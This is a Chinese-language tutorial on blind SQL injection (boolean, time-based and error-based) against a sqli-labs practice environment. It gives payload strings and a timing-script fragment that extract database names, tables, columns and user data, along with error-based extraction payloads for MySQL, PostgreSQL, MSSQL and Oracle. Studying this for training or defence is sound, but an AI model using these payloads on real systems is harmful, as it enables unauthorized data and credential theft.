布尔盲注
布尔的盲注
MID()
函数
SQL MID()函数用于得到一个字符串的一部分。这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。
SELECT MID(column_name,start[,length]) FROM table_name;
*用法:
SELECT MID(ColumnName, Start [, Length])
FROM TableName
示例:
mysql> SELECT MID('NowaMagic', 5, 5);
+------------------------+
| MID('NowaMagic', 5, 5) |
+------------------------+
| Magic |
+------------------------+
1 row in set
substr()函数
SELECT SUBSTR(column_name,start[,length]) FROM table_name;
Left()函数
取一个字符串的前若干位
SELECT LEFT(ARG,LENGTH) FROM table_name;
获取数据库名字长度
payload = "and length(database())=%d--+" % i
获取数据库名字
payload = "and mid(database(),1,%d)='%s'--+" % (i, database + chr(j))
获取表名
payload = "and mid((select table_name from information_schema.tables where table_schema='security' limit %d,1),1,%d)='%s'--+" % (i, k, table_names+chr(j))
获取列名
payload = "and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit %d,1),%d,1))='%d'--+" % (i, k, j)
爆自段
payload = "and ascii(mid((select username from security.users limit %d,1),%d,1))='%d'--+" % (i, k, j)
时间的SQL盲注
延时注入是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术。
延迟注入主要点是在于if()函数的判断、
if(condition,true,false) //条件语句
- condition 是判断条件
- true 和false 是符合condition自定义的返回结果。
本地测试感受一下
mysql> select ascii(mid(database(),1,1));
+----------------------------+
| ascii(mid(database(),1,1)) |
+----------------------------+
| 115 |
+----------------------------+
1 row in set (0.00 sec)
mysql> select if(ascii(mid(database(),1,1))=115,sleep(5),1);
+-----------------------------------------------+
| if(ascii(mid(database(),1,1))=115,sleep(5),1) |
+-----------------------------------------------+
| 0 |
+-----------------------------------------------+
1 row in set (5.01 sec)
mysql> select if(ascii(mid(database(),1,1))=114,sleep(5),1);
+-----------------------------------------------+
| if(ascii(mid(database(),1,1))=114,sleep(5),1) |
+-----------------------------------------------+
| 1 |
+-----------------------------------------------+
1 row in set (0.00 sec)
++如果condition
判断为正确,则产生延迟,否则不产生延迟。
至于脚本,修改下上面的脚本进行判断即可。++
url = "http://192.168.2.100/sqli-labs/Less-9/?id="
esndStr = " and sleep(3))--+"
payload = "1' and ((ascii(mid((select " + column_name + " from " + database_name + "." + table_name + " limit " + Result + ",1)," + Char + ",1))>" + mid + ")"
tempurl = url + payload + esndStr
before_time = time.time()
requests.head(tempurl)
after_time = time.time()
use_time = after_time - before_time
if abs(use_time) < 0.1:
return True
else:
return False
报错的sql盲注
如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。
比如在mysql中我们可以使用如下的经典语句进行报错。
select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
这是网上流传很广的一个版本,可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
其实这是mysql的一个bug所引起的,其他数据库都不会因为这个问题而报错。
另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
而在其他数据库中也可以使用不同的方法构成报错
PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--
MSSQL: /?param=1 and(1)=convert(int,@@version)--
Sybase: /?param=1 and(1)=convert(int,@@version)--
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--